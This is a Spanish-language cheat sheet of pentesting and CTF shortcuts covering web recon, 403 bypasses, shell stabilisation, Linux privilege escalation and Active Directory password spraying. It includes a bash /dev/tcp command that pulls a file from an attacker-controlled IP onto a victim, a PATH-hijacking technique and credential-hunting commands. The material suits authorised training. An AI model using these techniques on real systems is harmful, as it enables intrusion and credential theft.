Trucos y Atajos poco Conocidos
Colección de trucos que ahorran tiempo y desatascan máquinas, del tipo que no suele estar en las guías de principiante y que aprendes “a base de horas”. Úsalos cuando lo estándar no avanza.
Son complementos a la metodología y a la mentalidad para máquinas difíciles. Siempre en entornos autorizados.
Reconocimiento y web
/etc/hostscasi siempre. Si una web redirige a un nombre o el certificado TLS menciona un dominio, añádelo. Muchísimas máquinas “no dan nada” solo porque no resuelves el vhost.- Mira el certificado TLS:
openssl s_client -connect IP:443revela nombres de dominio, correos y subdominios internos. .gitexpuesto = código fuente gratis. Si existe/.git/, descárgalo congit-dumpery tendrás el código (y a menudo credenciales en el historial de commits).- Fuzzea con barra final y sin ella.
/adminpuede dar 301 y/admin/200. Y prueba mayúsculas (/Admin). - El 403 es un “sí, existe”. Un
403 Forbiddenconfirma que el recurso existe; prueba bypass:/admin/.,/admin//,/%2e/admin, cabeceraX-Original-URL: /admin,X-Forwarded-For: 127.0.0.1. - robots.txt y sitemap listan rutas que el creador quería “ocultar”: ve directo a ellas.
- wappalyzer / whatweb primero. Saber la tecnología te dice qué extensiones fuzzear y qué exploits mirar.
Consejo: cuando un fuzzing devuelve montones de 200 falsos, filtra por tamaño o palabras (-fs, -fw en ffuf), no por código. Es la diferencia entre ruido inútil y hallazgos reales.
Shells y comodidad
- Spawn de TTY en una línea:
script /dev/null -c bashes más fiable que el truco de Python en sistemas raros. - Si pierdes la shell constantemente, usa
tmuxen tu máquina para no perder el listener, y considerapwncat-cs(reconecta y estabiliza solo). - Shell que “se cuelga” con binarios interactivos (ftp, mysql, su): usa
python3 -c 'import pty;pty.spawn("/bin/bash")'ANTES, o llama al binario con sus flags no interactivas. ldd/sin internet: compila exploits de kernel congcc -staticcuando la víctima no tiene librerías.- No tienes
wget/curlen la víctima: usa/dev/tcpde bash para descargar:exec 3<>/dev/tcp/<TU_IP>/80; echo -e "GET /f HTTP/1.0\r\n\r" >&3; cat <&3
Escalada de privilegios (los que más desatascan)
sudo -lsin contraseña a veces funciona aunque no sepas la del usuario; pruébalo siempre primero.- GTFOBins es la respuesta a casi cualquier SUID/sudo/capability. No pienses: busca el binario ahí.
findcon-newermt: encuentra archivos modificados recientemente (pistas del creador):find / -newermt "2024-01-01" ! -newermt "2025-01-01" -type f 2>/dev/null | grep -v /procpspypara cron invisibles: muchos cron que corren como root no están en/etc/crontabsino lanzados por scripts;pspylos caza sin ser root.- Grupos olvidados:
id→docker,lxd,disk,admson root casi directo. La gente mira SUID y olvida los grupos. - Variable
$PATHescribible + script con comando relativo = secuestro de binario. Si un script SUID llama aservicesin ruta, crea tuservicemalicioso y antepón tu directorio al PATH. - Credenciales por todas partes:
history,.bash_history,.mysql_history,/var/backups,/opt, variables de entorno (env), y la memoria (strings /proc/<pid>/environ).
Consejo (poco conocido): antes de pelear con un exploit de kernel, ejecuta sudo -l, getcap -r / 2>/dev/null y revisa /opt y /home/*. Los exploits de kernel son el último recurso: ruidosos, poco fiables y cuelgan la máquina. El 80 % de las escaladas son config, no kernel.
Active Directory
- La hora. Si Kerberos falla “sin motivo”:
sudo ntpdate <DC>ofaketime. Es el error nº1. - Resolución del dominio. Añade
dominio.localydc01.dominio.locala/etc/hosts; muchos ataques fallan solo por DNS. - Password spraying inteligente: prueba
Nombremes+año(Verano2024,Empresa2024!), el nombre de la empresa,Welcome1, y el propio usuario como contraseña. Respeta la política de bloqueo (--continue-on-successy pocas pruebas). descriptionde los usuarios (LDAP/rpcclient): contraseñas puestas por admins perezosos. Clásico y letal.- Reutiliza TODO: una credencial de un servicio (SQL, web) suele valer para un usuario del dominio. Pásala por
netexec smb/winrm/ldapcontra toda la red.
Generales
- Dos monitores / tmux en paneles: notas a un lado, terminal al otro. La productividad sube muchísimo.
searchsploit -m <id>copia el exploit a tu carpeta; léelo entero antes de ejecutar (cambia IP/puerto, entiende qué hace).- Google con comillas y versión exacta:
"Nombre 2.3.4" exploit/CVE. Y GitHub: muchos PoCs solo están ahí. - Si algo parece fuera de lugar, lo está. Un puerto no estándar, un nombre raro, un comentario: los creadores dejan migas a propósito.
Consejo final: guarda tus propios trucos aquí a medida que los descubras. Tu cuaderno personal de atajos, con las cosas que TÚ olvidas, vale más que cualquier chuleta genérica. Este documento es el punto de partida; hazlo tuyo.